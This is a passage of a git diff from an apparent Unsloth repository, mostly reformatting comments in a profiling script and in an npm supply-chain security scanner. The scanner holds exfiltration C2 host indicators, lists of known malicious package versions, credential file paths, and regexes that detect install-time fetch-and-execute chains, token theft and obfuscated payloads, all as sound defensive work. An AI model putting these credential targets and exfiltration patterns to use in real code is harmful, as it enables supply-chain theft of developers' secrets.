graph (`site`), which can outrank a trivial main.main_row = next((r for r in reversed(rows) if r[2] == "main"), None)if main_row is None:return {@@ -115,14 +110,7 @@ def profile_imports(python: str, top: int = 15) -> dict:def _terminate_tree(proc: subprocess.Popen) -> None:- """Stop the server AND its children, which on Windows are a separate process.-- CI profiles `Scripts/unsloth.exe`, a distlib launcher stub that CreateProcess's- the venv python and waits, so terminate() reaps the stub only: the real backend- keeps the inherited stdout handle, the reader thread never sees EOF, and- --repeats strands one server per iteration on the shared UNSLOTH_STUDIO_HOME.- taskkill /T walks the tree, as unsloth_cli/commands/start.py already does.- """+ """Stop the server AND its children, which on Windows are a separate process. CI profiles `Scripts/unsloth.exe`, a distlib launcher stub that CreateProcess's the venv python and waits, so terminate() reaps the stub only: the real backend keeps the inherited stdout handle, the reader thread never sees EOF, and --repeats strands one server per iteration on the shared UNSLOTH_STUDIO_HOME. taskkill /T walks the tree, as unsloth_cli/commands/start.py already does."""if proc.poll() is not None:returnif os.name == "nt":@@ -161,8 +149,7 @@ def profile_launch()def _drain() -> None:- # Runs alongside the health polling: the first read timestamps the spawn phase, and an undrained pipe- # blocks the backend before it binds.+ # Runs alongside the health polling: the first read timestamps the spawn phase, and an undrained pipe blocks the backend before it binds.for line in proc.stdout:if not first_byte:first_byte.append(time.perf_counter() - t0)@@ -218,11 +205,7 @@ def profile_launch(def python_version_of(python: str) -> str:- """Version of the interpreter that runs the imports, not the one running us.-- --python points at the installed Unsloth venv while this script runs under the- runner's system python, so platform.python_version() would label it wrong.- """+ """Version of the interpreter that runs the imports, not the one running us: --python points at the installed Unsloth venv while this script runs under the runner's system python, so platform.python_version() would label it wrong."""if python == sys.executable:return platform.python_version()try:@@ -285,8 +268,7 @@ def main(argv: list[str]) -> int:# Same reason: --import-only never launches anything.if a.import_only and a.max_healthz_seconds is not None:ap.error("--max-healthz-seconds cannot be combined with --import-only")- # nan and inf parse fine as floats but `med > budget` is then always False, so the gate would report success without- # ever bounding anything.+ # nan and inf parse fine as floats but `med > budget` is then always False, so the gate would report success without ever bounding anything.if a.max_healthz_seconds is not None and not math.isfinite(a.max_healthz_seconds):ap.error("--max-healthz-seconds must be a finite number")diff --git a/scripts/scan_npm_packages.py b/scripts/scan_npm_packages.pyindex 66aba9760b7..e5c55999729 100644--- a/scripts/scan_npm_packages.py+++ b/scripts/scan_npm_packages.py@@ -1,7 +1,6 @@#!/usr/bin/env python3# SPDX-License-Identifier: AGPL-3.0-only# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved.-## .github/workflows/security-audit.yml's npm-scan-packages job depends# on this file existing at scripts/scan_npm_packages.py.@@ -59,20 +58,9 @@ from pathlib import PathREPO_ROOT = Path(__file__).resolve().parents[1]# ─────────────────────────────────────────────────────────────────────-# Hard caps (deliberately conservative; npm tarballs in this repo are all well under these limits, so a packaging-# spike is noticeable).+# Hard caps, deliberately conservative: npm tarballs in this repo are all well under these limits, so a packaging spike is noticeable.# ─────────────────────────────────────────────────────────────────────-# Caps calibrated against the real Unsloth frontend transitive closure:-# - typescript.js is 9.1 MB (TS compiler bundled into one file)-# - mermaid 11.x dist/mermaid.js.map is ~12 MB (sourcemap)-# - lightningcss-linux-x64-{gnu,musl}.node is 10 MB-# - rolldown bindings (.node) are 18-26 MB per platform-# - @next/swc-*.node is ~137 MB (rust-compiled SWC engine)-# - next.js cumulative bundle is ~134 MB (turbopack compiled)-# Native binaries (.node, .wasm, .so, .dll, .dylib) are GENUINELY huge and not amenable to text pattern scanning: we-# extract them only to verify the tarball integrity over the full archive, then skip them in scan_extracted_tree.-# They get a much higher per-file cap. Text files (JS/TS/JSON/etc) keep the tight cap because the pattern scanner runs-# over them and a 9.1 MB typescript.js is the legitimate ceiling.+# Calibrated against the real Unsloth frontend transitive closure, where typescript.js is 9.1 MB, mermaid's sourcemap ~12 MB, rolldown bindings 18-26 MB per platform, @next/swc-*.node ~137 MB and the next.js cumulative bundle ~134 MB. Native binaries (.node, .wasm, .so, .dll, .dylib) are genuinely huge and not amenable to text pattern scanning, so they are extracted only to verify tarball integrity over the full archive, then skipped in scan_extracted_tree, and get a much higher per-file cap; text files keep the tight cap because the pattern scanner runs over them and a 9.1 MB typescript.js is the legitimate ceiling.HARD_MAX_TARBALL_BYTES = 256 * 1024 * 1024 # 256 MiB compressedHARD_MAX_TEXT_FILE_BYTES = 16 * 1024 * 1024 # 16 MiB per text fileHARD_MAX_BINARY_FILE_BYTES = 256 * 1024 * 1024 # 256 MiB per .node etc@@ -80,10 +68,7 @@ HARD_MAX_TOTAL_BYTES = 512 * 1024 * 1024 # 512 MiB cumulativeHARD_MAX_MEMBERS = 50_000 # entries per tarballHARD_HTTP_TIMEOUT_S = 60 # per request-# Native-binary / compiled-asset suffixes that bypass the text cap.-# This is the SUFFIX shortlist;-# the content-magic check below covers extensionless executables (biome) and versioned shared libraries-# (libvips-cpp.so.8.17.3) that the suffix list misses.+# Native-binary / compiled-asset SUFFIX shortlist that bypasses the text cap; the content-magic check below covers extensionless executables (biome) and versioned shared libraries (libvips-cpp.so.8.17.3) this list misses._BINARY_SUFFIXES = (".node",".wasm",@@ -125,8 +110,7 @@ _VERSIONED_LIB = re.compile(re.IGNORECASE,)-# Magic numbers at offset 0 that identify common executable formats. We sniff the first ~16 bytes of every member to-# catch extensionless binaries (eg `package/biome`, `package/bin/foo`).+# Magic numbers at offset 0 identifying common executable formats. We sniff the first ~16 bytes of every member to catch extensionless binaries (eg `package/biome`)._BINARY_MAGICS = (b"\x7fELF", # ELF (Linux executable / .so)b"MZ", # PE / .exe / .dll (DOS header prefix)@@ -217,10 +201,7 @@ class PackageEntry:# ─────────────────────────────────────────────────────────────────────-# IOC patterns. Two flavours:-# - substring tables (KNOWN_IOC_STRINGS, CRED_HOST_*, CRED_PATH_SUBSTRINGS): high-confidence, near-zero FP rate-# - regexes (_JS_FETCH_EVAL, _JS_ENV_TOKEN, _LIFECYCLE_FETCH_EXEC, _OBFUSC_BLOB): tuned to recent campaigns-# Keep this list short and factual. Speculative patterns spam the false-positive ledger and dull the signal.+# IOC patterns, two flavours: substring tables (KNOWN_IOC_STRINGS, CRED_HOST_*, CRED_PATH_SUBSTRINGS), high-confidence with a near-zero FP rate, and regexes (_JS_FETCH_EVAL, _JS_ENV_TOKEN, _LIFECYCLE_FETCH_EXEC, _OBFUSC_BLOB) tuned to recent campaigns. Keep this list short and factual: speculative patterns spam the false-positive ledger and dull the signal.# ─────────────────────────────────────────────────────────────────────# Substring (case-sensitive) -> (severity, detail).@@ -237,7 +218,6 @@ KNOWN_IOC_STRINGS: dict[str, tuple[str, str]] = {CRITICAL,"TanStack worm dropper pinned commit",),- # Exfil hosts observed across both Shai-Hulud waves."filev2.getsession.org": (CRITICAL, "exfiltration C2 host"),"getsession.org/file/": (CRITICAL, "exfiltration C2 endpoint"),# Mini Shai-Hulud May-12 2026 wave additions.@@ -266,9 +246,7 @@ KNOWN_IOC_STRINGS: dict[str, tuple[str, str]] = {),}-# Hard pin-blocks for publicly confirmed malicious versions.-# name -> {malicious_versions...}. A match short-circuits the scan at the lockfile-walk stage; no tarball is fetched.-# keep in sync with scripts/lockfile_supply_chain_audit.py+# Hard pin-blocks for publicly confirmed malicious versions, name -> {malicious_versions}. A match short-circuits the scan at the lockfile-walk stage, so no tarball is fetched. Keep in sync with scripts/lockfile_supply_chain_audit.py.BLOCKED_NPM_VERSIONS: dict[str, set[str]] = {# GHSA-g7cv-rxg3-hmpx -- TanStack May-11 2026 (84 versions)."@tanstack/arktype-adapter": {"1.166.12", "1.166.15"},@@ -315,8 +293,7 @@ BLOCKED_NPM_VERSIONS: dict[str, set[str]] = {"@tanstack/zod-adapter": {"1.166.12", "1.166.15"},# Mini Shai-Hulud May-12 wave: OpenSearch JS client."@opensearch-project/opensearch": {"3.5.3", "3.6.2", "3.7.0", "3.8.0"},- # Mini Shai-Hulud May-12 wave: @squawk/* (22 packages, 5 versions each;- # https://safedep.io/mass-npm-supply-chain-attack-tanstack-mistral/).+ # Mini Shai-Hulud May-12 wave: @squawk/* (22 packages, 5 versions each; https://safedep.io/mass-npm-supply-chain-attack-tanstack-mistral/)."@squawk/airport-data": {"0.7.4", "0.7.5", "0.7.6", "0.7.7", "0.7.8"},"@squawk/airports": {"0.6.2", "0.6.3", "0.6.4", "0.6.5", "0.6.6"},"@squawk/airspace": {"0.8.1", "0.8.2", "0.8.3", "0.8.4", "0.8.5"},@@ -339,8 +316,7 @@ BLOCKED_NPM_VERSIONS: dict[str, set[str]] = {"@squawk/types": {"0.8.1", "0.8.2", "0.8.3", "0.8.4", "0.8.5"},"@squawk/units": {"0.4.3", "0.4.4", "0.4.5", "0.4.6", "0.4.7"},"@squawk/weather": {"0.5.6", "0.5.7", "0.5.8", "0.5.9", "0.5.10"},- # Mini Shai-Hulud May-12 wave: @uipath/* (64 packages, single version each;- # https://www.aikido.dev/blog/mini-shai-hulud-is-back-tanstack-compromised).+ # Mini Shai-Hulud May-12 wave: @uipath/* (64 packages, single version each; https://www.aikido.dev/blog/mini-shai-hulud-is-back-tanstack-compromised)."@uipath/apollo-react": {"4.24.5"},"@uipath/apollo-wind": {"2.16.2"},"@uipath/cli": {"1.0.1"},@@ -407,8 +383,7 @@ BLOCKED_NPM_VERSIONS: dict[str, set[str]] = {"@uipath/functions-tool": {"1.0.1"},"@uipath/access-policy-sdk": {"0.3.1"},"@uipath/platform-tool": {"1.0.1"},- # Mini Shai-Hulud May-12 wave: @mistralai/* (npm), separate from PyPI mistralai- # (https://www.aikido.dev/blog/mini-shai-hulud-is-back-tanstack-compromised).+ # Mini Shai-Hulud May-12 wave: @mistralai/* (npm), separate from PyPI mistralai (https://www.aikido.dev/blog/mini-shai-hulud-is-back-tanstack-compromised)."@mistralai/mistralai": {"2.2.2", "2.2.3", "2.2.4"},"@mistralai/mistralai-gcp": {"1.7.1", "1.7.2", "1.7.3"},"@mistralai/mistralai-azure": {"1.7.1", "1.7.2", "1.7.3"},@@ -473,19 +448,11 @@ BLOCKED_NPM_VERSIONS: dict[str, set[str]] = {"git-git-git": {"1.0.8", "1.0.9", "1.0.10", "1.0.11", "1.0.12"},"nextmove-mcp": {"0.1.3", "0.1.4", "0.1.5", "0.1.6", "0.1.7"},"ml-toolkit-ts": {"1.0.4", "1.0.5"},- # Cross-ecosystem Mini Shai-Hulud (Apr-30 wave): npm counterpart of PyPI lightning 2.6.2/2.6.3.- # Safe version: 7.0.3 and earlier.+ # Cross-ecosystem Mini Shai-Hulud (Apr-30 wave): npm counterpart of PyPI lightning 2.6.2/2.6.3. Safe version: 7.0.3 and earlier."intercom-client": {"7.0.4"},}-# Cloud / k8s / CI credential surfaces.-# A bare substring match here false-positives on DEFENSIVE code, e.g. langchain ships an SSRF protection module with a-# literal blocklist of IMDS IPs. We split these into two tiers:-# ALWAYS_BAD: substrings with no legitimate use anywhere in a dependency. A bare match is enough.-# NEEDS_CONTEXT: hosts/paths that DO appear legitimately in defensive code. We only fire when they co-occur with a-# fetch verb or appear inside an http URL, which is the structural difference between "blocked address constant"-# and "exfil target".-# The dispatch lives in `scan_text_blob` below.+# Cloud / k8s / CI credential surfaces, in two tiers because a bare substring match false-positives on DEFENSIVE code (langchain ships an SSRF module with a literal blocklist of IMDS IPs). ALWAYS_BAD substrings have no legitimate use anywhere in a dependency, so a bare match is enough; NEEDS_CONTEXT hosts and paths do appear in defensive code, so they fire only when they co-occur with a fetch verb or sit inside an http URL, which is the structural difference between a blocked address constant and an exfil target. The dispatch lives in `scan_text_blob`.CRED_HOST_ALWAYS_BAD: tuple[tuple[str, str], ...] = (("registry.npmjs.org/-/npm/v1/tokens", "npm publish-token enumeration endpoint"),("ACTIONS_ID_TOKEN_REQUEST_URL", "GitHub Actions OIDC token-exchange endpoint env"),@@ -504,9 +471,7 @@ CRED_HOST_NEEDS_CONTEXT: tuple[tuple[str, str], ...] = (),)-# Credentials a frontend package should never read. Bare substring match is too noisy (legit dev tooling mounts-# ~/.npmrc), so these are flagged only inside lifecycle scripts, the only auto-run path on `npm ci`.-# See `scan_package_json` below.+# Credentials a frontend package should never read. A bare substring match is too noisy (legit dev tooling mounts ~/.npmrc), so these are flagged only inside lifecycle scripts, the only auto-run path on `npm ci`. See `scan_package_json`.CRED_PATH_SUBSTRINGS: tuple[tuple[str, str], ...] = (("/.npmrc", "npm credentials file"),("/.aws/credentials", "AWS shared credentials file"),@@ -536,8 +501,7 @@ _JS_FETCH_EVAL = re.compile(""",)-# Token env access in install-time code;-# also catches os.environ[...] for the rare Python-in-npm postinstall.+# Token env access in install-time code; also catches os.environ[...] for the rare Python-in-npm postinstall._JS_ENV_TOKEN = re.compile(r"""(process\.env\.|os\.environ\[?['"])(?:GITHUB_TOKEN | GH_TOKEN | NPM_TOKEN | NODE_AUTH_TOKEN@@ -548,8 +512,7 @@ _JS_ENV_TOKEN = re.compile(re.VERBOSE,)-# Lifecycle-script fetch+exec chain: curl/wget an external resource and run it. Bare curl/wget is allowed (legit-# fixture fetches); only the fetch+exec chain is blocked.+# Lifecycle-script fetch+exec chain: curl/wget an external resource and run it. Bare curl/wget is allowed (legit fixture fetches); only the chain is blocked._LIFECYCLE_FETCH_EXEC = re.compile(r"""(?xs)(?:curl|wget|fetch|http\.get|axios\.get)\s+ # fetch verb@@ -563,8 +526,7 @@ _LIFECYCLE_FETCH_EXEC = re.compile(""",)-# Obfuscation: large single-line base64-ish blob behind Function()/ eval().-# Tuned against the router_init.js shape (2.3 MB blob).+# Obfuscation: large single-line base64-ish blob behind Function()/eval(). Tuned against the router_init.js shape (2.3 MB blob)._OBFUSC_BLOB = re.compile(r"""(?xs)(?:Function|eval)\s*\(\s*['"`]?@@ -577,12 +539,7 @@ _OBFUSC_BLOB = re.compile(def parse_lockfile(path: Path) -> tuple[list[PackageEntry], list[Finding]]:- """Return (entries, structural_findings).-- Structural findings are HIGH-severity refusals that short-circuit- the scan (e.g. non-registry resolved URLs). A summary is surfaced- here so this scanner is standalone-runnable.- """+ """Return (entries, structural_findings). Structural findings are HIGH-severity refusals that short-circuit the scan (e.g. non-registry resolved URLs), surfaced here so this scanner is standalone-runnable."""entries: list[PackageEntry] = []findings: list[Finding] = []@@ -624,7 +581,7 @@ def parse_lockfile(path: Path) -> tuple[list[PackageEntry], list[Finding]]:resolved = entry.get("resolved")if not resolved:continue- # Strict registry origin check so this scanner can't be tricked into fetching from an attacker-chosen URL.+ # Strict registry origin check so this scanner cannot be tricked into fetching from an attacker-chosen URL.parsed = urllib.parse.urlparse(resolved)if parsed.scheme != "https" or parsed.hostname != ALLOWED_DOWNLOAD_HOST:findings.append(@@ -653,7 +610,6 @@ def parse_lockfile(path: Path) -> tuple[list[PackageEntry], list[Finding]]:))continue- # node_modules/@scope/name -> @scope/name; node_modules/name -> namenm = "node_modules/"name = key[len(nm) :] if key.startswith(nm) else keyversion = entry.get("version") or "<unversioned>"@@ -670,7 +626,7 @@ def parse_lockfile(path: Path) -> tuple[list[PackageEntry], list[Finding]]:# ─────────────────────────────────────────────────────────────────────-# Tarball download (registry-only, size-capped, integrity-verified).+# Tarball download: registry-only, size-capped, integrity-verified.# ─────────────────────────────────────────────────────────────────────@@ -696,11 +652,7 @@ def download_tarball(timeout: float = HARD_HTTP_TIMEOUT_S,max_bytes: int = HARD_MAX_TARBALL_BYTES,) -> tuple[Path, str | None]:- """Stream-download entry.resolved to dest and verify SRI integrity.-- Returns (downloaded_path, error_or_none); on error the path may not- exist. Network access is restricted to ALLOWED_DOWNLOAD_HOST.- """+ """Stream-download entry.resolved to dest and verify SRI integrity. Returns (downloaded_path, error_or_none); on error the path may not exist. Network access is restricted to ALLOWED_DOWNLOAD_HOST."""# Re-assert hostname (defence-in-depth against a future refactor).parsed = urllib.parse.urlparse(entry.resolved)if parsed.scheme != "https" or parsed.hostname != ALLOWED_DOWNLOAD_HOST:@@ -764,7 +716,6 @@ def _is_within(root: Path, candidate: Path) -> bool:try:return candidate.resolve().is_relative_to(root.resolve())except (AttributeError, ValueError):- # Python <3.9 fallback (we target 3.10+ but be defensive).try:candidate.resolve().relative_to(root.resolve())return True@@ -779,12 +730,7 @@ def safe_extract(max_total_bytes: int = HARD_MAX_TOTAL_BYTES,max_members: int = HARD_MAX_MEMBERS,) -> str | None:- """Extract tarball_path under extract_root with policed members.-- Returns None on success, or a string describing the refusal.- Streams via `r|gz` so we can abort mid-extraction without having- materialised the rest of the archive.- """+ """Extract tarball_path under extract_root with policed members, returning None on success or a string describing the refusal. Streams via `r|gz` so we can abort mid-extraction without having materialised the rest of the archive."""extract_root.mkdir(parents = True, exist_ok = True)total = 0count = 0@@ -796,7 +742,6 @@ def safe_extract(if count > max_members:return f"member count {count} exceeded cap {max_members}"name = member.name- # Reject obvious path-escape.if name.startswith("/") or ".." in Path(name).parts:return f"refused unsafe member name {name!r}"# Reject device files, FIFOs, sockets, symlinks, hardlinks.@@ -816,7 +761,7 @@ def safe_extract(f"cumulative bytes {total + declared} > cap "f"{max_total_bytes} at {name!r}")- # Resolve destination and refuse anything escaping root (don't trust the npm "package/" convention).+ # Resolve destination and refuse anything escaping root (do not trust the npm "package/" convention).dest = extract_root / nameif not _is_within(extract_root, dest):return f"refused escape: {name!r} resolved outside root"@@ -829,7 +774,7 @@ def safe_extract(src = tf.extractfile(member)if src is None:continue- # Sniff first 16 bytes to classify text vs binary; each gets its own cap (both are bounded).+ # Sniff first 16 bytes to classify text vs binary; each gets its own cap.header = src.read(16)is_binary = _looks_binary(name, header)file_cap = HARD_MAX_BINARY_FILE_BYTES if is_binary else HARD_MAX_TEXT_FILE_BYTES@@ -858,18 +803,12 @@ def safe_extract(return None-# How far back to look for an enclosing bracket opener. Symmetric with the-# forward cap so a host that sits deep inside a large options object (its opening-# `{` many properties above) still binds the whole object, not just its own line;-# a too-far start only over-binds (more context, still fail-closed), never less.+# How far back to look for an enclosing bracket opener. Symmetric with the forward cap so a host deep inside a large options object still binds the whole object; a too-far start only over-binds (more context, still fail-closed), never less._MAX_CONT_LINES = 200-# Hard cap on how far forward a bracket group is followed to its close, measured from the matched line so the tail-# after the match is always reachable even when the opener was found near the backward limit (digest input only, never-# displayed); a realistic config object closes well within it.+# Hard cap on how far forward a bracket group is followed to its close, measured from the matched line so the tail after the match is always reachable even when the opener was found near the backward limit (digest input only, never displayed)._MAX_GROUP_LINES = 200-# JS string literal (single / double / template), blanked before counting brackets so a bracket inside a string is not-# mistaken for code.+# JS string literal (single / double / template), blanked before counting brackets so a bracket inside a string is not mistaken for code._RE_JS_STR = re.compile(r"'(?:[^'\\]|\\.)*'|\"(?:[^\"\\]|\\.)*\"|`(?:[^`\\]|\\.)*`")@@ -878,16 +817,7 @@ _OPENERS = frozenset("([{")def _bracket_lr(line: str) -> tuple[int, int]:- """Order-aware bracket reduction of one already-string-blanked line: ``(L, R)``- where ``L`` is the count of closers with no opener earlier on the line (they- need an opener to the LEFT / on a prior line) and ``R`` is the count of openers- with no closer later on the line (they need a closer to the RIGHT / on a later- line). A plain net count (opens minus closes) collapses order and so masks a- trailing opener that follows leading closers on the same line, e.g.- ``}); const opts = {`` nets -1 and hides the ``{`` that opens the host-config- object; tracking the running minimum keeps that opener visible so the group- binds the path/headers that follow. Only bracket characters are walked (pulled- out with one C-level regex pass) so a long minified line stays cheap."""+ """Order-aware bracket reduction of one already-string-blanked line: ``(L, R)``, where ``L`` counts closers with no opener earlier on the line and ``R`` counts openers with no closer later. A plain net count collapses order and masks a trailing opener that follows leading closers (``}); const opts = {`` nets -1 and hides the ``{`` that opens the host-config object), so tracking the running minimum keeps that opener visible. Only bracket characters are walked so a long minified line stays cheap."""depth = 0low = 0for ch in _RE_BRACKETS.findall(line):@@ -901,8 +831,7 @@ def _bracket_lr(line: str) -> tuple[int, int]:def _find_unescaped(line: str, quote: str, start: int) -> int:- """Index of the next ``quote`` at or after ``start`` not escaped by a backslash,- or -1. Skips ``\\x`` pairs so an escaped quote inside the string is ignored."""+ """Index of the next ``quote`` at or after ``start`` not escaped by a backslash, or -1. Skips ``\\x`` pairs so an escaped quote inside the string is ignored."""i, n = start, len(line)while i < n:if line[i] == "\\":@@ -914,20 +843,12 @@ def _find_unescaped(line: str, quote: str, start: int) -> int:return -1-# A `/` is a regex literal (not division) when the previous significant character-# is none (start) or one of these expression-position chars. Used only by the-# multi-line blanked view, and the span is unioned with the single-line view, so-# an over- or under-detection only ever grows the bound span (never shrinks it).+# A `/` is a regex literal (not division) when the previous significant character is none (start) or one of these expression-position chars. Used only by the multi-line blanked view, whose span is unioned with the single-line view, so an over- or under-detection only ever grows the bound span._JS_REGEX_PRECEDERS = frozenset("([{,;:?=&|!+-*/%^~<>")def _blank_js_strings(lines: list[str]) -> list[str]:- """Replace string contents (single, double, multi-line backtick template- literals) AND regex literal bodies with spaces across ``lines``, keeping the- line count and every bracket OUTSIDE a string/regex intact, so bracket counting- never miscounts a ``)`` that lives inside a string -- including a template- literal spanning several lines or a ``/)/`` regex -- which a per-line regex- cannot blank. Escapes are honoured."""+ """Replace string contents (single, double, multi-line backtick template literals) AND regex literal bodies with spaces across ``lines``, keeping the line count and every bracket OUTSIDE a string/regex intact, so bracket counting never miscounts a ``)`` inside a string, including a template literal spanning several lines or a ``/)/`` regex, which a per-line regex cannot blank. Escapes are honoured."""out: list[str] = []in_back = False # inside a multi-line `template` literalprev_sig = "" # last significant non-space char (for regex-vs-division)@@ -964,9 +885,7 @@ def _blank_js_strings(lines: list[str]) -> list[str]:prev_sig = "v" # a string is a value: a following `/` is divisioncontinueif ch == "/" and (prev_sig == "" or prev_sig in _JS_REGEX_PRECEDERS):- # Regex literal: blank to the closing unescaped `/` outside a `[...]`- # char class. A regex never spans lines, so no close on the line- # means this `/` is really division.+ # Regex literal: blank to the closing unescaped `/` outside a `[...]` char class. A regex never spans lines, so no close on the line means this `/` is really division.j, in_class, closed = i + 1, False, Falsewhile j < n:c = line[j]@@ -999,11 +918,7 @@ def _blank_js_strings(lines: list[str]) -> list[str]:def _index_text(text: str) -> tuple[list[str], list[str], list[str], list[int]]:- """Precompute once per evidence call: raw lines for display, two string-blanked- views for bracket counting (single-line via regex = legacy, and multi-line- aware so a template literal spanning lines is blanked), and newline offsets for- O(log n) offset-to-line mapping. Avoids re-splitting and re-counting the whole- file on every single match (which was O(matches x file size))."""+ """Precompute once per evidence call: raw lines for display, two string-blanked views for bracket counting (single-line via regex, and multi-line aware so a template literal spanning lines is blanked), and newline offsets for O(log n) offset-to-line mapping. Avoids re-splitting and re-counting the whole file on every match, which was O(matches x file size)."""lines = text.split("\n")sl_blanked = [_RE_JS_STR.sub("", ln) for ln in lines]ml_blanked = _blank_js_strings(lines)@@ -1011,23 +926,13 @@ def _index_text(text: str) -> tuple[list[str], list[str], list[str], list[int]]:return lines, sl_blanked, ml_blanked, nl-# Cap on formatted matches in one evidence string; beyond it the remaining match-# texts are folded into a single digest so a huge/minified file cannot build a-# multi-megabyte evidence blob while an added/removed match past the cap still-# changes the key.+# Cap on formatted matches in one evidence string; beyond it the remaining match texts are folded into a single digest so a huge or minified file cannot build a multi-megabyte evidence blob while an added/removed match past the cap still changes the key._MAX_EVIDENCE_MATCHES = 64def _scan_group(blanked: list[str], idx: int) -> tuple[int, int]:- """(start, end) line indices of the bracket group enclosing line ``idx`` in one- blanked view: scan back to the still-open opener, then forward to its close."""- # Backward: find the line that opens a bracket still unclosed at the match, so a match inside a multi-line object- # starts from the object opener. Each line is reduced to (L, R) and applied in order: first the L closers consume- # open brackets from the running context (a stray closer whose opener is outside the window only clamps depth at- # 0, it never goes negative), then the R openers add to it.- # Tracking order this way (rather than a single net per line) keeps a trailing opener visible even when leading- # closers on the same line net it to <= 0, e.g. `}); const opts = {`, which a net count would drop,- # letting a changed path/headers after such a line ride the unchanged-hostname key.+ """(start, end) line indices of the bracket group enclosing line ``idx`` in one blanked view: scan back to the still-open opener, then forward to its close."""+ # Backward: find the line that opens a bracket still unclosed at the match, so a match inside a multi-line object starts from the object opener. Each line is reduced to (L, R) and applied in order (leading closers clamp depth at 0, never negative), which keeps a trailing opener visible even when leading closers on the same line net it to <= 0, e.g. `}); const opts = {`, which a net count would drop and let a changed path/headers ride the unchanged-hostname key.start = idxdepth = 0for j in range(max(0, idx - _MAX_CONT_LINES), idx):@@ -1042,11 +947,7 @@ def _scan_group(blanked: list[str], idx: int) -> tuple[int, int]:start = j # outermost still-open opener begins heredepth += right- # Forward: extend until the group opened at `start` closes past the match. The same order-aware reduction is used- # (clamping leading closers at 0) so the foreign `})` on the opener line does not drive the count negative and stop- # the scan before the real close. The cap is measured from the match (`idx`), not from `start`, so an opener found- # near the backward limit does not eat the whole forward budget and drop the path/headers/body that follow the- # match.+ # Forward: extend until the group opened at `start` closes past the match, with the same order-aware reduction so a foreign `})` on the opener line does not drive the count negative and stop the scan before the real close. The cap is measured from the match, not from `start`, so an opener found near the backward limit does not eat the whole forward budget.depth = 0end = startfor j in range(start, min(len(blanked), idx + _MAX_GROUP_LINES)):@@ -1059,14 +960,7 @@ def _scan_group(blanked: list[str], idx: int) -> tuple[int, int]:def _canon_preserve_strings(text: str) -> str:- """Whitespace canon that collapses runs OUTSIDE string literals to a single- space (so a reindent or spacing change between tokens stays stable) while- preserving whitespace INSIDE single/double/backtick string literals (so a- changed payload body, e.g. ``'a b'`` -> ``'a b'``, reopens). A plain- ``" ".join(text.split())`` erases both, suppressing an intra-literal payload- edit along with harmless indentation. Leading/trailing outside whitespace is- dropped; escapes inside strings are honoured. Used for the evidence hash and- the logical-line digests so the two stay consistent."""+ """Whitespace canon that collapses runs OUTSIDE string literals to a single space (so a reindent stays stable) while preserving whitespace INSIDE single/double/backtick literals (so a changed payload body reopens). A plain ``" ".join(text.split())`` erases both, suppressing an intra-literal payload edit along with harmless indentation. Used for the evidence hash and the logical-line digests so the two stay consistent."""out: list[str] = []i, n = 0, len(text)quote: str | None = None@@ -1100,14 +994,7 @@ def _canon_preserve_strings(text: str) -> str:def _logical_line_text(lines: list[str], sl_blanked: list[str], ml_blanked: list[str], idx: int) -> str:- """The matched line plus the bracket group it belongs to (the enclosing- multi-line object/call, so a changed ``path``/``headers``/body on another line- binds). Returns the UNION of the groups found in the single-line-blanked view- (legacy: a payload embedded inside a template still counts so its brackets bind- the call) and the multi-line-blanked view (a bracket inside a template literal- spanning lines no longer closes the group early). Unioning never shrinks the- span below either view, so neither blanking strategy can drop a line a- malicious change relies on."""+ """The matched line plus the bracket group it belongs to, so a changed ``path``/``headers``/body on another line binds. Returns the UNION of the groups found in the single-line-blanked view (a payload embedded inside a template still counts) and the multi-line-blanked view (a bracket inside a multi-line template no longer closes the group early); unioning never shrinks the span below either view."""s1, e1 = _scan_group(sl_blanked, idx)s2, e2 = _scan_group(ml_blanked, idx)start, end = min(s1, s2), max(e1, e2)@@ -1123,10 +1010,7 @@ def _format_match(m: re.Match,max_chars: int,) -> str:- # The shown snippet is a small window around the match; a digest of the full LOGICAL line (the matched line plus- # its bracket-continuation lines) is appended whenever the snippet does not already show all of it, so a changed- # payload tail, a truncated body, or a multi-line option/header reopens. Offsets map to line numbers via bisect- # over precomputed newline positions, so this is O(log n) instead of rescanning the file prefix for every match.+ # The shown snippet is a small window around the match; a digest of the full LOGICAL line (the matched line plus its bracket-continuation lines) is appended whenever the snippet does not already show all of it, so a changed payload tail or a multi-line header reopens. Offsets map to line numbers via bisect over precomputed newline positions, so this is O(log n) rather than rescanning the file prefix per match.idx = bisect.bisect_left(nl, m.start()) # 0-based line index of the matchline_start = nl[idx - 1] + 1 if idx > 0 else 0ke = bisect.bisect_left(nl, m.end())@@ -1138,9 +1022,7 @@ def _format_match(if len(snippet) > max_chars:snippet = snippet[:max_chars] + "..."if snippet != full_logical:- # Normalize before digesting, matching _evidence_hash, so a formatter-only reindent of the bound continuation- # lines does not reopen -- but preserve whitespace inside string literals so a changed request/payload body- # does.+ # Normalize before digesting, matching _evidence_hash, so a formatter-only reindent of the bound continuation lines does not reopen, while whitespace inside string literals is preserved so a changed request/payload body does.canon = _canon_preserve_strings(full_logical)digest = hashlib.sha256(canon.encode("utf-8", "replace")).hexdigest()snippet = f"{snippet} sha256:{digest}"@@ -1150,11 +1032,7 @@ def _format_match(def _stream_overflow_digest(matches, lines: list[str], sl_blanked: list[str], ml_blanked: list[str], nl: list[int]) -> tuple[int, str]:- """A single digest binding the LOGICAL line (the bound bracket-group context,- not just the regex match text) of every overflow match in the iterable, plus- the count of matches folded. Streams the matches (any iterable of re.Match) so a- huge overflow never materializes a list. Whitespace-normalized to match- _evidence_hash so a reindent does not reopen."""+ """A single digest binding the LOGICAL line (the bound bracket-group context, not just the regex match text) of every overflow match in the iterable, plus the count folded. Streams the matches so a huge overflow never materializes a list. Whitespace-normalized to match _evidence_hash so a reindent does not reopen."""h = hashlib.sha256()count = 0for m in matches:@@ -1166,9 +1044,7 @@ def _stream_overflow_digest(def _fold_overflow_match(h, m: re.Match, lines: list[str], sl_blanked: list[str], ml_blanked: list[str], nl: list[int]) -> None:- """Fold one overflow match's whitespace-normalized logical-line context into the- running hash ``h``. Shared by _stream_overflow_digest and the inline overflow- fold in _outbound_host_evidence so both produce the identical digest."""+ """Fold one overflow match's whitespace-normalized logical-line context into the running hash ``h``. Shared by _stream_overflow_digest and the inline overflow fold in _outbound_host_evidence so both produce the identical digest."""idx = bisect.bisect_left(nl, m.start())ll = _logical_line_text(lines, sl_blanked, ml_blanked, idx)h.update(b"\x00")@@ -1180,13 +1056,7 @@ def _evidence(pat: re.Pattern,max_chars: int = 200,) -> str:- # Record every match (not a truncated sample) so an extra match appended to an already-flagged file changes the- # evidence instead of riding the first few.- # Past _MAX_EVIDENCE_MATCHES the remaining matches are folded into one digest (binding their 